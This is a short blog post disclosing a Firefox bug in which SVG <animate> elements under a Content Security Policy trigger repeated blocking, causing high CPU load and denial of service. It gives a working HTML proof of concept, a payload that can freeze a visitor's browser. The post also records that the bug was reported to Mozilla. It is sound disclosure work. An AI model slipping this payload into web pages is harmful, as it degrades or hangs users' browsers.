---
title: Denial of Service using Content Security Policies in Firefox
date: 2023-12-06
tags: [code, security]
description: I found that using the SVG <animate> element in Firefox triggers Content Security Policies repeatedly.
---

Content Security Policies (CSPs) instruct browsers to block all code
that has not explicitly been allowed. This is meant to limit the impact
of script injections.

I found that using the SVG `<animate>` element in Firefox triggers that
blocking mechanism repeatedly, leading to high CPU load and ultimately
denial of service. The CPU load can be increased simply by adding more
elements. Here is a simple proof of concept:

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy" content="style-src 'self'">
</head>
<body>
  <svg width="50px" height="50px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
    <rect x="0" y="0" width="10" height="10">
      <animate attributeName="opacity" from="1" to="0" dur="1s" begin="0s" repeatCount="indefinite" />
    </rect>
  </svg>
</body>
</html>
```

I personally run into that problem all the time because I block unsafe inline
styles on all websites by default using my [xiMatrix
extension](https://addons.mozilla.org/en-US/firefox/addon/ximatrix/).

I reported this issue to security@mozilla.org in August 2022. They responded
within a few days and told me that this issue had already been found a few
years prior and had a [public
ticket](https://bugzilla.mozilla.org/show_bug.cgi?id=1459872). Needless to say,
it has not been fixed yet.

Chrome doesn't block SVG animations at all. I am not sure whether that is the
optimal approach. But denial of service if definitely not good. If they want to
block an animation, it should be blocked once and not on every frame.

The irony here is that the exploitable system is one that was designed to
improve security. I want to recommend CSPs and I do, even though I know there
is this bug that is relatively easy to exploit in the wild.
